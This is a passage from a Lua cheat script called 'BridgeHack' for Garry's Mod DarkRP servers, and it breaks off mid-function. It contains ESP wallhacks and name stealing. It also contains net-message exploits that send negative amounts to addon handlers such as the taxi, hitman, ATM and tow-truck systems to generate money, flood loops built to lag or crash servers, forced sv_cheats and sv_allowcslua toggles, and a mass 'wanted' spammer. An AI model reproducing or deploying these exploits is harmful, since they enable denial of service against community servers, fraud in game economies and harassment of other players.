1688 if ligger_type1 == ligger_type then
1689
1690 status("Name Changing to " .. v:Nick() .. " - " .. v:SteamID())
1691
1692 if plylastname == v:Nick() then
1693
1694 local ligger_type = math.random(1,2)
1695
1696 local ligger_type1 = math.random(1,2)
1697
1698 else
1699
1700 ply:ConCommand("darkrp name " .. v:Nick() .. math.random(1,10))
1701
1702 status("Changed Name to " .. v:Nick() .. " - " .. v:SteamID())
1703
1704 end
1705
1706 local ligger_type = math.random(1,2)
1707
1708 local ligger_type1 = math.random(1,2)
1709
1710 end end end) end)
1711
1712
1713
1714concommand.Add("bh_namesteal_off",function()
1715
1716 timer.Destroy("startNAMECHANGEsteal",0.12,0,function()
1717
1718 end) end)
1719
1720
1721
1722concommand.Add("bh_removelookingat",function()
1723
1724 chatP("Removing prop looking at...")
1725
1726 net.Start( "MDE_RemoveStuff_C2S" )
1727
1728 net.WriteTable( {DATA="",TARGET=sweg} )
1729
1730 net.SendToServer()
1731
1732
1733
1734end)
1735
1736
1737
1738concommand.Add("__bh_lagdarkrpdashit",function()
1739
1740 chatP("Starting the lag...")
1741
1742 timer.Create("lag"..BridgeHack.RandomVar, 1, 0, function()
1743
1744 for i=1,10000 do
1745
1746 net.Start("DarkRP_spawnPocket")
1747
1748 net.SendToServer()
1749
1750 end
1751
1752 status("PROGRESS[10000/10000]")
1753
1754
1755
1756 end) end)
1757
1758
1759
1760concommand.Add( "__bh_stopplag",function( )
1761
1762 chatP("Stopping the lag...")
1763
1764 timer.Destroy("lag"..BridgeHack.RandomVar)
1765
1766end)
1767
1768
1769
1770if dspam == true then
1771
1772 chatP("Spam split / make shipment ON")
1773
1774 timer.Create("spamdashit"..BridgeHack.RandomVar,0.1,function()
1775
1776 for k,v in pairs(ents.GetAll()) do
1777
1778 if v.Entity:GetString() == "spawned_shipment" then
1779
1780 status("Splitting shipment")
1781
1782 RunConsoleCommand("darkrp","splitshipment",v.Entity:EntIndex())
1783
1784 elseif v.Entity:GetClassName() == "spawned_weapon" then
1785
1786 status("Making shipment")
1787
1788 RunConsoleCommand("darkrp","makeshipment",v.Entity:EntIndex())
1789
1790 end end end) end
1791
1792
1793
1794if dspam == false then
1795
1796 chatP("Spam split / make shipment OFF")
1797
1798 timer.Simple(1,function()
1799
1800 timer.Destroy("spamdashit"..BridgeHack.RandomVar,function()
1801
1802 end) end) end
1803
1804
1805
1806concommand.Add("bh_kun_ziptie_untie",function()
1807
1808 chatP("Untieing...")
1809
1810 for i=0,30 do
1811
1812 net.Start("Kun_ZiptieStruggle")
1813
1814 net.SendToServer()
1815
1816 end
1817
1818end)
1819
1820
1821
1822concommand.Add("___darkrpshipments", function()
1823
1824 if dspam != true then
1825
1826 dspam = true
1827
1828 elseif dspam == true then
1829
1830 dspam = false
1831
1832 end end)
1833
1834
1835
1836local function BridgeHackCHECK(v)
1837
1838 if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then
1839
1840 return true
1841
1842 else
1843
1844 return false
1845
1846 end end
1847
1848
1849
1850hook.Add("HUDPaint", "JESP", function()
1851
1852 for k,v in pairs(player.GetAll()) do
1853
1854 if GetConVarNumber("bh_esp") > 0 then
1855
1856 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
1857
1858 if GetConVarNumber("bh_renderdistance_enable") > 0 then
1859
1860 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
1861
1862 local PlayerESP = (v:EyePos()):ToScreen()
1863
1864 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1865
1866 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1867
1868
1869
1870 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1871
1872
1873
1874 if GetConVarNumber("bh_esp_rank") > 0 then
1875
1876 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1877
1878 end
1879
1880
1881
1882 if GetConVarNumber("bh_esp_hp") > 0 then
1883
1884 local infocolor = Color(255,0,255)
1885
1886 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1887
1888 end
1889
1890
1891
1892 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1893
1894 local min, max = v:WorldSpaceAABB()
1895
1896
1897
1898 min, max = min:ToScreen(), max:ToScreen()
1899
1900
1901
1902 local h = (min.y / 2) - (max.y / 2)
1903
1904 surface.SetDrawColor(col.g, col.b, col.r)
1905
1906
1907
1908 if GetConVarNumber("bh_esp_box") > 0 then
1909
1910 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1911
1912 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1913
1914 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1915
1916 end end
1917
1918 else
1919
1920
1921
1922 local PlayerESP = (v:EyePos()):ToScreen()
1923
1924 local infocolor = Color(0,255,0)
1925
1926 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1927
1928 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1929
1930
1931
1932 if GetConVarNumber("bh_esp_rank") > 0 then
1933
1934 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1935
1936 end
1937
1938
1939
1940 if GetConVarNumber("bh_esp_hp") > 0 then
1941
1942 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1943
1944 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1945
1946 end
1947
1948
1949
1950 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1951
1952
1953
1954 local min, max = v:WorldSpaceAABB()
1955
1956 min, max = min:ToScreen(), max:ToScreen()
1957
1958 local h = (min.y / 2) - (max.y / 2)
1959
1960
1961
1962 surface.SetDrawColor(col.g, col.b, col.r)
1963
1964
1965
1966 if GetConVarNumber("bh_esp_box") > 0 then
1967
1968 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1969
1970 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1971
1972 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1973
1974 end end end end end end)
1975
1976
1977
1978function blur_on()
1979
1980 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
1981
1982end
1983
1984
1985
1986function blur_off()
1987
1988 DrawMaterialOverlay( "", 0.1 )
1989
1990end
1991
1992
1993
1994concommand.Add("+bh_menu", function( ply )
1995
1996 status("Menu Opened.")
1997
1998 if GetConVarNumber("bh_menu_effects") == 1 then
1999
2000 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
2001
2002 end
2003
2004--[[
2005
2006 mainmenu
2007
2008
2009
2010
2011
2012 THE MAIN
2013
2014
2015
2016
2017
2018 MENU
2019
2020
2021
2022
2023
2024
2025
2026 STARTS
2027
2028
2029
2030
2031
2032
2033
2034 HERE
2035
2036
2037
2038 |
2039
2040 V
2041
2042]]--
2043
2044local menu = DermaMenu()
2045
2046menu:Center()
2047
2048menu:AddOption( "BridgeHack "..dlversion, function()
2049
2050 AboutMenu()
2051
2052end ):SetImage( "icon16/shield.png" )
2053
2054menu:AddSpacer()
2055
2056function menu:Paint( w, h )
2057
2058 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
2059
2060 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
2061
2062 surface.SetDrawColor( 0,0,0 )
2063
2064 surface.DrawOutlinedRect( 0, 0, w, h)
2065
2066end
2067
2068local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
2069
2070
2071
2072ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
2073
2074 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
2075
2076 status("Forced SV_ALLOWCSLUA TO 1")
2077
2078end):SetImage( "icon16/link_error.png" )
2079
2080
2081
2082ForcingMenu:AddOption( "Force sv_cheats 1", function()
2083
2084 ply:ConCommand("incrementvar sv_cheats 0 1 1")
2085
2086 status("Forced SV_CHEATS TO 1")
2087
2088end):SetImage( "icon16/link_error.png" )
2089
2090
2091
2092local ESP = menu:AddSubMenu("ESP")
2093
2094
2095
2096ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
2097
2098ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
2099
2100
2101
2102local Speed = menu:AddSubMenu("Speed")
2103
2104Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
2105
2106Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
2107
2108
2109
2110
2111
2112local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
2113
2114NameStealSub:AddOption( "[ON] Name Steal", function()
2115
2116 ply:ConCommand("bh_namesteal_on")
2117
2118end ):SetImage( "icon16/book_addresses.png" )
2119
2120
2121
2122NameStealSub:AddOption( "[OFF] Name Steal", function()
2123
2124 status("Stopped Script: Random Name Change [name steal]")
2125
2126 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
2127
2128
2129
2130local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
2131
2132
2133
2134 MoneyExploits:AddOption("[$$] Drug Sell",function()
2135
2136 for i=1,1000 do
2137
2138 net.Start("Kun_SellDrug")
2139
2140 net.WriteString("Meth")
2141
2142 net.SendToServer()
2143
2144 end end):SetImage( "icon16/coins_add.png" )
2145
2146
2147
2148 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
2149
2150 chatp("Giving money")
2151
2152 net.Start("Taxi_Add")
2153
2154 net.WriteString("MLG")
2155
2156 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
2157
2158 net.WriteFloat(-99999999)
2159
2160 net.WriteString(Desc)
2161
2162 net.SendToServer()
2163
2164 end):SetImage( "icon16/coins_add.png" )
2165
2166
2167
2168 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
2169
2170 chatP("Attempting to give money..")
2171
2172 for k,v in pairs(ents.GetAll()) do
2173
2174 swag = v
2175
2176 end
2177
2178 net.Start( 'NET_SS_DoBuyTakeoff' )
2179
2180 net.WriteEntity(LocalPlayer())
2181
2182 net.WriteEntity(swag)
2183
2184 net.WriteTable({'spawned_weapon'})
2185
2186 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
2187
2188 net.SendToServer()
2189
2190 end):SetImage( "icon16/coins_add.png" )
2191
2192
2193
2194 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
2195
2196 chatP("Attempting to give money..")
2197
2198 net.Start( "DaHit" )
2199
2200 net.WriteFloat( -1000000000000000000000 )
2201
2202 --net.WriteFloat( tm )
2203
2204 net.WriteEntity( LocalPlayer() )
2205
2206 net.WriteEntity( LocalPlayer() )
2207
2208 net.WriteEntity( LocalPlayer() )
2209
2210 net.SendToServer()
2211
2212 end):SetImage( "icon16/coins_add.png" )
2213
2214
2215
2216 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
2217
2218 local ply = LocalPlayer()
2219
2220 for k,v in pairs(player.GetAll()) do
2221
2222 dahater = v
2223
2224 end
2225
2226
2227
2228 local hitRequest = {}
2229
2230 hitRequest.hitman = ply
2231
2232 hitRequest.requester = ply
2233
2234 hitRequest.target = dahater
2235
2236 hitRequest.reward = 100000000
2237
2238
2239
2240 net.Start( 'hhh_request' )
2241
2242 net.WriteTable( hitRequest )
2243
2244 net.SendToServer()
2245
2246
2247
2248 end):SetImage( "icon16/coins_add.png" )
2249
2250
2251
2252 MoneyExploits:AddOption("[$$] BOONPC",function()
2253
2254 net.Start('BuyCar')
2255
2256 net.WriteFloat(-1000000000000)
2257
2258 net.WriteEntity(LocalPlayer())
2259
2260 net.WriteString("BridgeHack")
2261
2262 net.WriteString("BridgeHack")
2263
2264 net.WriteString("BridgeHack")
2265
2266 net.SendToServer()
2267
2268 end):SetImage( "icon16/coins_add.png" )
2269
2270
2271
2272 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
2273
2274 local frame = vgui.Create( "DFrame" )
2275
2276 frame:Center()
2277
2278 frame:SetSize( 200,150 )
2279
2280 frame:SetTitle( "" )
2281
2282 frame:MakePopup()
2283
2284 frame:ShowCloseButton( false )
2285
2286 function frame:Paint( w, h )
2287
2288 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2289
2290 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2291
2292 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2293
2294 end
2295
2296
2297
2298 local playerMenu = vgui.Create( "DComboBox", frame )
2299
2300 playerMenu:SetPos( 10,40 )
2301
2302 playerMenu:SetSize( 120,20 )
2303
2304 playerMenu:SetText( "Select a Player")
2305
2306 for k, v in pairs( player.GetAll() ) do
2307
2308 playerMenu:AddChoice( tostring( v:Name() ) )
2309
2310 playerMenu:SetTextColor(color_black)
2311
2312 end
2313
2314
2315
2316 local Button = vgui.Create("DButton", frame)
2317
2318 Button:SetPos( 180, 2 )
2319
2320 Button:SetSize( 20, 20 )
2321
2322 Button:SetText( "" )
2323
2324 function Button:Paint( w, h )
2325
2326 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2327
2328 end
2329
2330 Button.DoClick = function()
2331
2332 frame:Close()
2333
2334 end
2335
2336
2337
2338 local SpamHit = vgui.Create("DButton", frame )
2339
2340 SpamHit:SetPos( 20,70 )
2341
2342 SpamHit:SetSize( 150,20 )
2343
2344 SpamHit:SetText( "Get Money" )
2345
2346 SpamHit:SetTextColor( Color(0,0,0) )
2347
2348 SpamHit.DoClick = function()
2349
2350 local v = playerMenu:GetText()
2351
2352 net.Start( "SendMoney" )
2353
2354 net.WriteEntity( v )
2355
2356 net.WriteEntity( v )
2357
2358 net.WriteEntity( v )
2359
2360 net.WriteString( "-100000000000000000000000000000000000000000" )
2361
2362 net.SendToServer()
2363
2364 end
2365
2366
2367
2368 local CrashButton = vgui.Create("DButton", frame )
2369
2370 CrashButton:SetPos( 20,90 )
2371
2372 CrashButton:SetSize( 150,20 )
2373
2374 CrashButton:SetText( "Crash Server" )
2375
2376 CrashButton:SetTextColor( Color(0,0,0) )
2377
2378 CrashButton.DoClick = function()
2379
2380 for i=0, 10 do
2381
2382 ply:ConCommand("bh_hitmanxcrash")
2383
2384 end
2385
2386 end
2387
2388
2389
2390 local InfaButton = vgui.Create("DButton", frame )
2391
2392 InfaButton:SetPos( 20,110 )
2393
2394 InfaButton:SetSize( 150,20 )
2395
2396 InfaButton:SetText( "Infinite Money For Everyone" )
2397
2398 InfaButton:SetTextColor( Color(0,0,0) )
2399
2400 InfaButton.DoClick = function()
2401
2402 ply:ConCommand("bh_hitmanxinfa")
2403
2404 end
2405
2406 end):SetImage( "icon16/application_form.png" )
2407
2408
2409
2410 MoneyExploits:AddOption( "[$$] HITMENU",function()
2411
2412 local HitPanel = vgui.Create( "DFrame" )
2413
2414 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
2415
2416 HitPanel:SetSize( 300, 200 )
2417
2418 HitPanel:SetTitle( " " )
2419
2420 HitPanel:SetVisible( true )
2421
2422 HitPanel:SetDraggable( true )
2423
2424 HitPanel:ShowCloseButton( false )
2425
2426 HitPanel:MakePopup()
2427
2428 function HitPanel:Paint( w, h )
2429
2430 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
2431
2432 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2433
2434 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2435
2436 end
2437
2438
2439
2440 local Button = vgui.Create("DButton", HitPanel)
2441
2442 Button:SetPos( 250, 0 )
2443
2444 Button:SetSize( 50, 25 )
2445
2446 Button:SetText( "" )
2447
2448 function Button:Paint( w, h )
2449
2450 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2451
2452 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2453
2454 end
2455
2456 Button.DoClick = function()
2457
2458 HitPanel:Close()
2459
2460 end
2461
2462
2463
2464 local HitButton = vgui.Create("DButton", HitPanel)
2465
2466 HitButton:SetPos( 140, 100 )
2467
2468 HitButton:SetSize( 100, 20 )
2469
2470 HitButton:SetText( "Get Money" )
2471
2472 HitButton:SetTextColor( Color(255,255,255) )
2473
2474 function HitButton:Paint( w, h )
2475
2476 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
2477
2478 end
2479
2480 HitButton.DoClick = function()
2481
2482 ply:ConCommand("bh_hithack")
2483
2484 end
2485
2486
2487
2488 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
2489
2490 HitSlider:SetPos( 20, 50 )
2491
2492 HitSlider:SetSize( 300, 40 )
2493
2494 HitSlider:SetText( "Money Ammount" )
2495
2496 HitSlider:SetMin( 0 )
2497
2498 HitSlider:SetMax( 1000000000 )
2499
2500 HitSlider:SetDecimals( 0 )
2501
2502 HitSlider:SetConVar( "bh_hitmenuammount" )
2503
2504
2505
2506 end):SetImage( "icon16/coins_add.png" )
2507
2508
2509
2510 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
2511
2512 ply:ConCommand("bh_3dcardealer_spamstore")
2513
2514 end):SetImage( "icon16/coins_add.png" )
2515
2516
2517
2518 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
2519
2520 chatP("Attempting to give money..")
2521
2522 for i=0,30 do
2523
2524 for i=1,10 do
2525
2526 net.Start( "AttemptSellCar" )
2527
2528 net.WriteInt( i, 8 )
2529
2530 net.SendToServer()
2531
2532 end
2533
2534 end
2535
2536 end):SetImage( "icon16/coins_add.png" )
2537
2538
2539
2540 MoneyExploits:AddOption( "[$$] BAILNPC",function()
2541
2542 chatP("Attempting to give money..")
2543
2544 net.Start( "BailOut" )
2545
2546 net.WriteEntity( ply )
2547
2548 net.WriteEntity( ply )
2549
2550 net.WriteFloat( -10000000000000)
2551
2552 net.SendToServer()
2553
2554 end):SetImage( "icon16/coins_add.png" )
2555
2556
2557
2558 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
2559
2560 local DermaPanel = vgui.Create( "DFrame" )
2561
2562 DermaPanel:SetPos( 100, 100 )
2563
2564 DermaPanel:SetSize( 300, 200 )
2565
2566 DermaPanel:SetTitle( " " )
2567
2568 DermaPanel:SetVisible( true )
2569
2570 DermaPanel:SetDraggable( true )
2571
2572 DermaPanel:ShowCloseButton( true )
2573
2574 function DermaPanel:Paint( w, h )
2575
2576 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
2577
2578 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
2579
2580 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
2581
2582 end
2583
2584 DermaPanel:MakePopup()
2585
2586
2587
2588 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
2589
2590 TextEntry:SetPos( 75, 30 )
2591
2592 TextEntry:SetSize( 150, 25 )
2593
2594 TextEntry:SetText( "Account num(Including the -!)" )
2595
2596
2597
2598 local BBDButton = vgui.Create( "DButton",DermaPanel )
2599
2600 BBDButton:SetPos( 10, 120 )
2601
2602 BBDButton:SetText( "Give Money" )
2603
2604 BBDButton:SetTextColor( Color(255,255,255) )
2605
2606 BBDButton:SetSize( 280, 75 )
2607
2608 function BBDButton:Paint( w, h )
2609
2610 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
2611
2612 end
2613
2614 BBDButton.DoClick = function()
2615
2616 local accnumber = TextEntry:GetValue()
2617
2618 local moneytogive = GetConVarNumber("bh_ratm_money2give")
2619
2620 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
2621
2622 net.Start("ATM_DepositMoney_C2S")
2623
2624 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
2625
2626 net.SendToServer()
2627
2628 end
2629
2630
2631
2632 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
2633
2634 RenderDistance:SetPos( 10, 50)
2635
2636 RenderDistance:SetSize( 275, 25 )
2637
2638 RenderDistance:SetText( "Money to give" )
2639
2640 RenderDistance:SetMin( 0 )
2641
2642 RenderDistance:SetMax( 500000 )
2643
2644 RenderDistance:SetDecimals( 0 )
2645
2646 RenderDistance:SetConVar( "bh_ratm_money2give" )
2647
2648 end):SetImage("icon16/coins_add.png")
2649
2650
2651
2652 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
2653
2654 chatP("Giving money..")
2655
2656 for k,v in pairs(ents.GetAll()) do
2657
2658 status("Attempting to make fine")
2659
2660 net.Start("TOW_SubmitWarning")
2661
2662 net.WriteString(LocalPlayer():SteamID())
2663
2664 net.WriteDouble(-100000000000)
2665
2666 net.WriteEntity(v)
2667
2668 net.SendToServer()
2669
2670
2671
2672 net.Start("TOW_PayTheFine")
2673
2674 net.WriteEntity(v)
2675
2676 net.SendToServer()
2677
2678 end
2679
2680 end):SetImage( "icon16/coins_add.png" )
2681
2682
2683
2684local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
2685
2686
2687
2688 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
2689
2690 ply:ConCommand("bh_dlogs_lag")
2691
2692 end):SetImage( "icon16/table_error.png" )
2693
2694
2695
2696 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
2697
2698 ply:ConCommand("bh_dlogs_lag_off")
2699
2700 end):SetImage( "icon16/table_add.png" )
2701
2702
2703
2704 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
2705
2706 local ply = LocalPlayer()
2707
2708
2709
2710 local frame = vgui.Create( "DFrame" )
2711
2712 frame:Center()
2713
2714 frame:SetSize( 200,150 )
2715
2716 frame:SetTitle( "" )
2717
2718 frame:MakePopup()
2719
2720 frame:ShowCloseButton( false )
2721
2722 function frame:Paint( w, h )
2723
2724 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
2725
2726 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
2727
2728 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
2729
2730 end
2731
2732
2733
2734 local playerMenu = vgui.Create( "DComboBox", frame )
2735
2736 playerMenu:SetPos( 10,40 )
2737
2738 playerMenu:SetSize( 120,20 )
2739
2740 playerMenu:SetText( "Select a Player")
2741
2742 for k, v in pairs( player.GetAll() ) do
2743
2744 playerMenu:AddChoice( tostring( v:Name() ) )
2745
2746 end
2747
2748
2749
2750 local SpamHit = vgui.Create("DButton", frame )
2751
2752 SpamHit:SetPos( 50,70 )
2753
2754 SpamHit:SetSize( 100,20 )
2755
2756 SpamHit:SetText( "Place Dem Hits" )
2757
2758 SpamHit:SetTextColor( Color(0,0,0) )
2759
2760 SpamHit.DoClick = function()
2761
2762 local v = playerMenu:GetText()
2763
2764 for i=0, 4 do
2765
2766 ply:ConCommand('addhit "'..v..'" 500')
2767
2768 end
2769
2770 end
2771
2772
2773
2774 local CrashButton = vgui.Create("DButton", frame )
2775
2776 CrashButton:SetPos( 50,110 )
2777
2778 CrashButton:SetSize( 100,20 )
2779
2780 CrashButton:SetText( "Crash Server" )
2781
2782 CrashButton:SetTextColor( Color(0,0,0) )
2783
2784 CrashButton.DoClick = function()
2785
2786 chatP("Hitmanmenu got rekt!")
2787
2788 consoleP("Hitmanmenu got rekt")
2789
2790 for i=0, 10 do
2791
2792 ply:ConCommand("bh_hitmancrash")
2793
2794 end
2795
2796 end
2797
2798
2799
2800 local Button = vgui.Create("DButton", frame)
2801
2802 Button:SetPos( 170, 0 )
2803
2804 Button:SetSize( 30, 20 )
2805
2806 Button:SetText( "Close" )
2807
2808 Button:SetTextColor( Color( 255, 255, 255) )
2809
2810 function Button:Paint( w, h )
2811
2812 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
2813
2814 end
2815
2816 Button.DoClick = function()
2817
2818 frame:Close()
2819
2820 end
2821
2822
2823
2824 local label = vgui.Create( "DLabel", frame )
2825
2826 label:SetPos( 10,20 )
2827
2828 label:SetSize( 120,20 )
2829
2830 label:SetTextColor( Color(0,0,0) )
2831
2832 label:SetText( "Select Player:" )
2833
2834 end):SetImage("icon16/accept.png")
2835
2836
2837
2838 DARKRPBASEDSUB:AddOption("TP Spawn",function()
2839
2840 ply:ConCommand("bh_tp_spawn")
2841
2842 end):SetImage( "icon16/cake.png" )
2843
2844
2845
2846 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
2847
2848 ply:ConCommand("bh_advert 1")
2849
2850 end):SetImage( "icon16/bell_add.png" )
2851
2852
2853
2854 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
2855
2856 ply:ConCommand("bh_advert 0")
2857
2858 end):SetImage( "icon16/bell_delete.png" )
2859
2860
2861
2862 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
2863
2864 timer.Simple(0.1,function()
2865
2866 chatP("(This can be binded to: bh_removelookingat)")
2867
2868 ply:ConCommand("bh_removelookingat")
2869
2870 end)
2871
2872 end):SetImage("icon16/map_delete.png")
2873
2874
2875
2876 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
2877
2878 ply:ConCommand("bh_kun_ziptie_untie")
2879
2880 end):SetImage( "icon16/cut.png" )
2881
2882
2883
2884 DARKRPBASEDSUB:AddOption( "Open Armory", function()
2885
2886 chatP("Opening armory..")
2887
2888 ARMORY_WeaponMenu()
2889
2890 end):SetImage( "icon16/bomb.png" )
2891
2892
2893
2894 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
2895
2896 ply:ConCommand("___darkrpshipments")
2897
2898 end):SetImage( "icon16/cut_red.png" )
2899
2900
2901
2902 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
2903
2904 timer.Create("lollol3294385", 0.2, 0, function( )
2905
2906 for k,v in pairs(player.GetAll()) do
2907
2908 local ligger_type = math.random(1,13)
2909
2910 local ligger_type1 = math.random(1,13)
2911
2912 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
2913
2914 if ligger_type1 == ligger_type then
2915
2916 if last_ply == v:Nick() then
2917
2918 local ligger_type = math.random(1,13)
2919
2920 local ligger_type1 = math.random(1,13)
2921
2922 else
2923
2924 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
2925
2926 end
2927
2928
2929
2930 local last_ply = v:Nick()
2931
2932 local ligger_type = math.random(1,13)
2933
2934 local ligger_type1 = math.random(1,13)
2935
2936 status("Force Wanting: " .. v:Nick())
2937
2938 end
2939
2940 end
2941
2942 end)
2943
2944 end):SetImage( "icon16/cross.png" )
2945
2946
2947
2948 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
2949
2950 timer.Destroy("lollol3294385")
2951
2952 status("Stopped Want All Police")
2953
2954 end):SetImage( "icon16/tick.png" )
2955
2956
2957
2958 DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
2959
2960 ply:ConCommand("__bh_lagdarkrpdashit")
2961
2962 end):SetImage( "icon16/accept.png" )
2963
2964
2965
2966 DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
2967
2968 ply:ConCommand("__bh_stopplag")
2969
2970 end):SetImage( "icon16/cancel.png" )
2971
2972
2973
2974 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
2975
2976 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
2977
2978 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
2979
2980 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
2981
2982 status("Spoofed Physgun And Player Color.")
2983
2984 end):SetImage( "icon16/color_wheel.png" )
2985
2986
2987
2988 local exploitshacks = menu:AddSubMenu("Exploits")
2989
2990
2991
2992 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
2993
2994 chatP("Bypassing Apanti..")
2995
